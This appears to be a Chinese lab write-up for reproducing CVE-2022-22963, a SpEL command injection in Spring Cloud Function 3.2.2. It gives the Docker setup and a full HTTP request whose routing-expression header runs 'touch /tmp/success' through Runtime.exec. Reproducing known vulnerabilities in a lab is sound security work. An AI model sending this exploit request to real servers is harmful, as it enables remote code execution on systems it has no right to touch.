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Spring Cloud Function SpEL表达式命令注入CVE-2022-22963

Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS函数即服务function as a service平台。

参考链接:

漏洞环境

执行如下命令启动一个使用Spring Cloud Function 3.2.2编写的服务器:

docker compose up -d

服务启动后,执行curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test即可执行uppercase函数,将输入字符串转换成大写。

漏洞复现

发送如下数据包,spring.cloud.function.routing-expression头中包含的SpEL表达式将会被执行

POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

可见,touch /tmp/success已经成功被执行: